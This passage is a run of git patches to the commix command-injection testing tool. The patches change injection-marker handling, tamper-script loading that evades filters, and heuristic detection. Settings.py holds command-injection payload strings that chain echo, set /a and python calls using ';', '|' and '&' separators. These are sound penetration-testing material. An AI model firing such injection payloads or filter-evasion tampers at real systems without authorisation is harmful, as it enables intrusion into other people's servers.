settings.CUSTOM_INJECTION_MARKER_CHAR in value: + all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL url = url_part + "?" + parameter - url = url.replace(settings.RANDOM_TAG, "") + url = url.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") urls_list.append(url) else: for param in range(0,len(multi_parameters)): @@ -363,10 +370,16 @@ def json_format(parameter): else: parameter = parameter + settings.INJECT_TAG else: - parameter = parameter.replace(value, value + settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + parameter = parameter.replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) + else: + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + parameter = parameter.replace(value, value + settings.INJECT_TAG) + if settings.IS_JSON: parameter = json_int_check(parameter, value) - parameter = parameter.replace(settings.RANDOM_TAG, "") + parameter = parameter.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") return parameter else: for param in range(0, len(multi_parameters)): @@ -417,17 +430,18 @@ def json_format(parameter): else: if settings.CUSTOM_INJECTION_MARKER: if settings.ASTERISK_MARKER in value: - all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER,"") + settings.INJECT_TAG) + all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) else: - all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) if settings.IS_JSON and len(all_params[param].split("\":")) == 2: check_parameter = all_params[param].split("\":")[0] if settings.INJECT_TAG in check_parameter: - all_params[param] = all_params[param].replace(check_parameter,check_parameter.replace(settings.INJECT_TAG, "")) + all_params[param] = all_params[param].replace(check_parameter, check_parameter.replace(settings.INJECT_TAG, "")) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) - parameter = parameter.replace(settings.RANDOM_TAG, "") + parameter = parameter.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") if settings.IS_JSON: if (len(all_params)) == 1 and settings.INJECT_TAG not in all_params[param]: parameter = parameter.replace(value, value + settings.INJECT_TAG) @@ -597,8 +611,14 @@ def multi_params_get_value(parameter): if len(value) == 0: cookie = cookie + settings.INJECT_TAG else: - cookie = cookie.replace(value, value + settings.INJECT_TAG) - cookie = cookie.replace(settings.RANDOM_TAG, "") + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + cookie = cookie.replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) + else: + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + cookie = cookie.replace(value, value + settings.INJECT_TAG) + + cookie = cookie.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") return cookie # Check if multiple parameters are supplied. @@ -633,12 +653,13 @@ def multi_params_get_value(parameter): else: if settings.CUSTOM_INJECTION_MARKER: if settings.ASTERISK_MARKER in value: - all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER,"") + settings.INJECT_TAG) + all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) else: - all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") cookie = settings.COOKIE_DELIMITER.join(all_params) - cookie = cookie.replace(settings.RANDOM_TAG, "") + cookie = cookie.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") if type(cookie) != list: cookies_list.append(cookie) cookie = cookies_list diff --git a/src/utils/settings.py b/src/utils/settings.py index 14574d4106..80abfb0b7d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "70" +REVISION = "71" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -363,6 +363,7 @@ class HEURISTIC_TEST(object): SKIP_CODE_INJECTIONS = False SKIP_COMMAND_INJECTIONS = False +USER_DEFINED_URL_DATA = True # User-defined stored POST data. USER_DEFINED_POST_DATA = "" # Ignore user-defined stored POST data. @@ -375,7 +376,14 @@ class HEURISTIC_TEST(object): CUSTOM_INJECTION_MARKER_DATA = [] PRE_CUSTOM_INJECTION_MARKER_CHAR = "" -SKIP_NON_CUSTOM = False +class INJECTION_MARKER_LOCATION(object): + URL = False + DATA = False + COOKIE = False + HTTP_HEADERS = False + CUSTOM_HTTP_HEADERS = False + +SKIP_NON_CUSTOM = None # Testable parameter(s) - comma separated. TEST_PARAMETER = "" @@ -490,6 +498,7 @@ class OS(object): SUFFIXES_LVL2 = SEPARATORS_LVL1 SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'", "\"", " #", "//", "\\\\"] + # Bad combination of prefix and separator JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))] From 2253472b64f65a11794adfd4fbccd649e56a8772 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 19 Jun 2024 07:21:28 +0300 Subject: [PATCH 468/560] Update regarding loading tamper scripts --- src/core/injections/controller/checks.py | 78 +++++++++++++++--------- src/core/requests/parameters.py | 1 - src/utils/settings.py | 2 +- 3 files changed, 50 insertions(+), 31 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index af409e9f7f..186ca2948e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1418,7 +1418,7 @@ def tamper_scripts(stored_tamper_scripts): print(settings.print_critical_msg(err_msg)) raise SystemExit() if not stored_tamper_scripts: - info_msg = "Loading tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " + info_msg = "Loaded tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " print(settings.print_info_msg(info_msg)) for script in provided_scripts: if "hexencode" or "base64encode" == script: @@ -1633,27 +1633,33 @@ def check_quotes(payload): menu.options.tamper = "singlequotes" """ -Recognise the payload. +Check for applied (hex / b64) encoders. """ -def recognise_payload(payload): - if "usleep" in payload and settings.TARGET_OS != settings.OS.WINDOWS: - if not settings.TAMPER_SCRIPTS['sleep2usleep']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",sleep2usleep" - else: - menu.options.tamper = "sleep2usleep" - - elif "timeout" in payload: - if not settings.TAMPER_SCRIPTS['sleep2timeout']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",sleep2timeout" - else: - menu.options.tamper = "sleep2timeout" - +def check_encoders(payload): is_decoded = False encoded_with = "" check_value = payload + settings.MULTI_ENCODED_PAYLOAD = list(dict.fromkeys(settings.MULTI_ENCODED_PAYLOAD)) + for encode_type in settings.MULTI_ENCODED_PAYLOAD: + if encode_type == 'base64encode' or encode_type == 'hexencode': + while True: + message = "Do you want to keep using the '" + encode_type + "' tamper script? [y/N] > " + procced_option = common.read_input(message, default="N", check_batch=True) + if procced_option in settings.CHOICE_YES: + break + elif procced_option in settings.CHOICE_NO: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Unloading the '" + encode_type + "' tamper script." + print(settings.print_debug_msg(debug_msg)) + settings.MULTI_ENCODED_PAYLOAD.remove(encode_type) + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + if (len(check_value.strip()) % 4 == 0) and \ re.match(settings.BASE64_RECOGNITION_REGEX, check_value) and \ not re.match(settings.HEX_RECOGNITION_REGEX, check_value): @@ -1687,30 +1693,24 @@ def recognise_payload(payload): encoded_with = "base64" except Exception: pass - else: decoded_payload = payload if len(encoded_with) != 0: is_decoded = True - for encode_type in settings.MULTI_ENCODED_PAYLOAD: - # Encode payload to base64 format. - if encode_type == 'base64encode': - base64_output(payload) - # Encode payload to hex format. - if encode_type == 'hexencode': - hex_output(payload) - if is_decoded: while True: - message = "The provided parameter appears to be '" + str(encode_type).split("encode")[0] + "' encoded. " - message += "Do you want to process it encoded? [Y/n] > " + message = "The provided value appears to be " + encoded_with + "-encoded. " + message += "Do you want to use '" + encoded_with + "encode' tamper script? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: break elif procced_option in settings.CHOICE_NO: - settings.MULTI_ENCODED_PAYLOAD.remove(encode_type) + settings.MULTI_ENCODED_PAYLOAD.remove(encoded_with + "encode") + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping load the '" + encoded_with + "encode' tamper script." + print(settings.print_debug_msg(debug_msg)) break elif procced_option in settings.CHOICE_QUIT: raise SystemExit() @@ -1723,6 +1723,26 @@ def recognise_payload(payload): else: return payload, encoded_with +""" +Recognise the payload. +""" +def recognise_payload(payload): + if "usleep" in payload and settings.TARGET_OS != settings.OS.WINDOWS: + if not settings.TAMPER_SCRIPTS['sleep2usleep']: + if menu.options.tamper: + menu.options.tamper = menu.options.tamper + ",sleep2usleep" + else: + menu.options.tamper = "sleep2usleep" + + elif "timeout" in payload: + if not settings.TAMPER_SCRIPTS['sleep2timeout']: + if menu.options.tamper: + menu.options.tamper = menu.options.tamper + ",sleep2timeout" + else: + menu.options.tamper = "sleep2timeout" + + return check_encoders(payload) + """ Check for stored payloads and enable tamper scripts. """ diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 0520fa02d6..2f2b0fff02 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -449,7 +449,6 @@ def json_format(parameter): if type(parameter) != list: parameters_list.append(parameter) parameter = parameters_list - else: for param in range(0, len(multi_parameters)): # Grab the value of parameter. diff --git a/src/utils/settings.py b/src/utils/settings.py index 80abfb0b7d..c412a3a6b8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "71" +REVISION = "72" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d549ffd5d08db950bf9dd429b7f588e4c04abb7e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 20 Jun 2024 08:52:27 +0300 Subject: [PATCH 469/560] Additional update regarding commit: https://github.com/commixproject/commix/commit/2253472b64f65a11794adfd4fbccd649e56a8772 --- src/core/injections/controller/checks.py | 9 ++++ src/core/injections/controller/controller.py | 57 ++++++++++---------- src/core/main.py | 2 +- src/core/tamper/backticks.py | 11 ++-- src/core/tamper/multiplespaces.py | 9 ++-- src/core/tamper/space2ifs.py | 5 +- src/utils/settings.py | 4 +- 7 files changed, 60 insertions(+), 37 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 186ca2948e..67bd226f79 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1763,6 +1763,12 @@ def perform_payload_modification(payload): if extra_http_headers == "xforwardedfor": from src.core.tamper import xforwardedfor + for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + # Reverses (characterwise) the user-supplied operating system commands + if mod_type == 'backticks': + from src.core.tamper import backticks + payload = backticks.tamper(payload) + for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # Reverses (characterwise) the user-supplied operating system commands if mod_type == 'rev': @@ -1834,6 +1840,9 @@ def perform_payload_modification(payload): if space_mod == 'space2vtab': from src.core.tamper import space2vtab payload = space2vtab.tamper(payload) + if space_mod == 'multiplespaces': + from src.core.tamper import multiplespaces + payload = multiplespaces.tamper(payload) for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # Encode payload to hex format. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 8fedf901ee..6554942745 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -74,24 +74,25 @@ def check_for_stored_levels(url, http_request_method): """ Heuristic request(s) """ -def heuristic_request(url, http_request_method, check_parameter, payload): +def heuristic_request(url, http_request_method, check_parameter, payload, whitespace): data = None cookie = None tmp_url = url payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") + payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) + payload = _urllib.parse.unquote(payload) + payload = _urllib.parse.quote(payload) if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: - if not any((settings.IS_JSON, settings.IS_XML)): - payload = _urllib.parse.quote(payload) data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.quote(payload)) + tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) @@ -116,27 +117,28 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, basic_payloads = settings.BASIC_COMMAND_INJECTION_PAYLOADS settings.CLASSIC_STATE = True try: - whitespace = settings.WHITESPACES[0] - if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS: - _ = 0 - for payload in basic_payloads: - _ = _ + 1 - response = heuristic_request(url, http_request_method, check_parameter, payload) - if type(response) is not bool and response is not None: - html_data = checks.page_encoding(response, action="decode") - match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) - if match: - settings.IDENTIFIED_COMMAND_INJECTION = True - possible_os = ('Unix-like', 'Windows')[_ != 1] - if settings.OS.UNIX.lower() in possible_os.lower(): - settings.TARGET_OS = settings.OS.UNIX - else: - settings.TARGET_OS = settings.OS.WINDOWS - info_msg = "Heuristic (basic) tests shows that " - info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + possible_os + "')." - print(settings.print_bold_info_msg(info_msg)) - settings.SKIP_CODE_INJECTIONS = True - break + checks.perform_payload_modification(payload="") + for whitespace in settings.WHITESPACES: + if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS: + _ = 0 + for payload in basic_payloads: + _ = _ + 1 + response = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) + if type(response) is not bool and response is not None: + html_data = checks.page_encoding(response, action="decode") + match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) + if match: + settings.IDENTIFIED_COMMAND_INJECTION = True + possible_os = ('Unix-like', 'Windows')[_ != 1] + if settings.OS.UNIX.lower() in possible_os.lower(): + settings.TARGET_OS = settings.OS.UNIX + else: + settings.TARGET_OS = settings.OS.WINDOWS + info_msg = "Heuristic (basic) tests shows that " + info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + possible_os + "')." + print(settings.print_bold_info_msg(info_msg)) + settings.SKIP_CODE_INJECTIONS = True + break settings.CLASSIC_STATE = False return url @@ -155,9 +157,10 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "" settings.EVAL_BASED_STATE = True try: + whitespace = settings.SINGLE_WHITESPACE if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: - response = heuristic_request(url, http_request_method, check_parameter, payload) + response = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) if type(response) is not bool and response is not None: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) @@ -297,7 +300,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Load modules modules_handler.load_modules(url, http_request_method, filename) - checks.tamper_scripts(stored_tamper_scripts=False) + # checks.tamper_scripts(stored_tamper_scripts=False) settings.CHECKING_PARAMETER = "" if not header_name == settings.COOKIE and not the_type == "HTTP header": diff --git a/src/core/main.py b/src/core/main.py index 3172e95416..5141ec6d28 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -534,7 +534,7 @@ def main(filename, url, http_request_method): # Load tamper scripts if menu.options.tamper: settings.USER_SUPPLIED_TAMPER = menu.options.tamper - # checks.tamper_scripts(stored_tamper_scripts=False) + checks.tamper_scripts(stored_tamper_scripts=False) except AttributeError: pass diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 203e8e3098..45f29695fe 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -13,7 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -import sys from src.utils import settings """ @@ -23,7 +22,13 @@ __tamper__ = "backticks" -settings.TAMPER_SCRIPTS[__tamper__] = True -settings.USE_BACKTICKS = True +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def tamper(payload): + settings.TAMPER_SCRIPTS[__tamper__] = True + settings.USE_BACKTICKS = True + payload = payload.replace("$((", "`expr ").replace("))", "`") + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index 636eb115dc..2e4acc3b6a 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -23,7 +23,10 @@ __tamper__ = "multiplespaces" -settings.TAMPER_SCRIPTS[__tamper__] = True -settings.WHITESPACES[0] = settings.WHITESPACES[0] * random.randrange(2, 8) - +def tamper(payload): + if not (settings.TAMPER_SCRIPTS[__tamper__]): + settings.TAMPER_SCRIPTS[__tamper__] = True + for i in range(0, len(settings.WHITESPACES)): + settings.WHITESPACES[i] = settings.WHITESPACES[i] * random.randrange(3, 8) + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index fd61c22fcf..3d459537fc 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -25,10 +25,13 @@ __tamper__ = "space2ifs" space2ifs = "${IFS}" +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + def tamper(payload): if space2ifs in settings.WHITESPACES[0] and \ settings.EVAL_BASED_STATE != False: - settings.WHITESPACES[0] = r"\${IFS}" + settings.WHITESPACES[0] = space2ifs if settings.TARGET_OS != settings.OS.WINDOWS: settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == "%20": diff --git a/src/utils/settings.py b/src/utils/settings.py index c412a3a6b8..e7b1bce6c4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "72" +REVISION = "73" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -321,7 +321,7 @@ class HEURISTIC_TEST(object): #Basic heuristic checks for command injections RAND_A = random.randint(1,10000) RAND_B = random.randint(1,10000) -CALC_STRING = str(RAND_A) + "+" + str(RAND_B) +CALC_STRING = str(RAND_A) + " %2B " + str(RAND_B) BASIC_STRING = "(" + CALC_STRING + ")" BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")%26%26echo $(" + BASIC_STRING + ")||echo $(" + BASIC_STRING + ")", "|set /a " + BASIC_STRING + "&set /a " + BASIC_STRING From 0e0f470ca4749a1eb386a02635154f1f17f700d9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 21 Jun 2024 07:48:37 +0300 Subject: [PATCH 470/560] Minor update --- src/core/injections/controller/checks.py | 9 +++++++++ src/core/injections/controller/controller.py | 3 +-- src/core/requests/requests.py | 5 ++--- src/utils/settings.py | 8 ++++---- 4 files changed, 16 insertions(+), 9 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 67bd226f79..7aff601dde 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -100,6 +100,15 @@ def injection_techniques_status(): def quoted_value(value): return '"{}"'.format(value) +""" +Payload fixation +""" +def payload_fixation(payload): + + payload = _urllib.parse.unquote(payload) + payload = _urllib.parse.quote(payload) + return payload + """ Check for non custom parameters. """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 6554942745..350beaa4e9 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -84,9 +84,8 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) - payload = _urllib.parse.unquote(payload) - payload = _urllib.parse.quote(payload) if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + payload = checks.payload_fixation(payload) cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index ab042ae369..9215b33ae7 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -430,8 +430,6 @@ def get_request_response(request): def cookie_injection(url, vuln_parameter, payload, http_request_method): def inject_cookie(url, vuln_parameter, payload, http_request_method): - if settings.TIME_RELATIVE_ATTACK : - payload = _urllib.parse.quote(payload) # Check if defined POST data if settings.USER_DEFINED_POST_DATA: @@ -442,7 +440,8 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - payload = payload.replace("+", "%2B") + payload = checks.payload_fixation(payload) + # payload = payload.replace("+", "%2B") if settings.INJECT_TAG in menu.options.cookie: request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index e7b1bce6c4..8a3a21c6dc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "73" +REVISION = "74" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -323,11 +323,11 @@ class HEURISTIC_TEST(object): RAND_B = random.randint(1,10000) CALC_STRING = str(RAND_A) + " %2B " + str(RAND_B) BASIC_STRING = "(" + CALC_STRING + ")" -BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")%26%26echo $(" + BASIC_STRING + ")||echo $(" + BASIC_STRING + ")", - "|set /a " + BASIC_STRING + "&set /a " + BASIC_STRING +BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")%26echo $(" + BASIC_STRING + ")|echo $(" + BASIC_STRING + ")" + RANDOM_STRING_GENERATOR , + "|set /a " + BASIC_STRING + "%26set /a " + BASIC_STRING ] ALTER_SHELL_BASIC_STRING = " -c \"print(int(" + CALC_STRING + "))\"" -ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")%26%26echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")||echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")", +ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")%26echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")|echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")", "|for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL + " &for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL ] BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B) From 1a2a6327cb5e3a13ae5c77be7e454fdcf5daa328 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 24 Jun 2024 08:47:19 +0300 Subject: [PATCH 471/560] Code refactoring --- src/core/injections/controller/checks.py | 24 +-- src/core/injections/controller/controller.py | 193 ++++++++----------- src/utils/settings.py | 2 +- 3 files changed, 86 insertions(+), 133 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7aff601dde..a0b5862e37 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -145,31 +145,23 @@ def process_custom_injection_data(data): data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER) _.append(data) data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n") - # data = data.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) - # if settings.INJECT_TAG in data: - # settings.CUSTOM_INJECTION_MARKER_DATA.append(data) - # settings.CUSTOM_INJECTION_MARKER_DATA = (list(dict.fromkeys(settings.CUSTOM_INJECTION_MARKER_DATA))) - # if ''.join(settings.CUSTOM_INJECTION_MARKER_DATA).count(settings.INJECT_TAG) > 1: - # err_msg = "More than one custom injection markers ('" + settings.CUSTOM_INJECTION_MARKER_CHAR + "') found in the provided data. " - # err_msg += "You can use the '-p' option, to define them (i.e -p \"id1,id2\"). " - # print(settings.print_critical_msg(err_msg)) - # raise SystemExit() - + return data """ Check for custom injection marker character ('*'). """ def custom_injection_marker_character(url, http_request_method): + _ = False if url and settings.CUSTOM_INJECTION_MARKER_CHAR in url: option = "'-u'" - settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = settings.USER_DEFINED_URL_DATA = True - if menu.options.data: - settings.IGNORE_USER_DEFINED_POST_DATA = True - elif menu.options.data and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.data: + _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = settings.USER_DEFINED_URL_DATA = True + # if menu.options.data: + # settings.IGNORE_USER_DEFINED_POST_DATA = True + if menu.options.data and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.data: option = str(http_request_method) + " body" - settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True - else: + _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True + if not _: option = "option '--headers/--user-agent/--referer/--cookie'" if menu.options.cookie and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.cookie: settings.CUSTOM_INJECTION_MARKER = settings.COOKIE_INJECTION = settings.INJECTION_MARKER_LOCATION.COOKIE = True diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 350beaa4e9..b9c2b51a11 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -471,6 +471,67 @@ def stored_http_header_injection(url, check_parameter, http_request_method, file if not settings.LOAD_SESSION: http_headers_injection(url, http_request_method, filename, timesec) +""" +Perform the injection proccess +""" +def do_injection(found, data_type, header_name, url, http_request_method, filename, timesec): + + # Check if multiple parameters + check_parameters = [] + for i in range(0, len(found)): + if data_type == settings.HTTPMETHOD.POST: + menu.options.data = found[i] + check_parameter = parameters.vuln_POST_param(found[i], url) + if data_type == settings.HTTPMETHOD.GET: + url = found[i] + check_parameter = parameters.vuln_GET_param(url) + if data_type == settings.COOKIE: + menu.options.cookie = found[i] + check_parameter = parameters.specify_cookie_parameter(found[i]) + check_parameters.append(check_parameter) + + checks.testable_parameters(url, check_parameters, header_name) + + for i in range(0, len(found)): + if data_type == settings.HTTPMETHOD.POST: + menu.options.data = found[i] + check_parameter = parameters.vuln_POST_param(found[i], url) + if data_type == settings.HTTPMETHOD.GET: + url = found[i] + check_parameter = parameters.vuln_GET_param(url) + if data_type == settings.COOKIE: + menu.options.cookie = 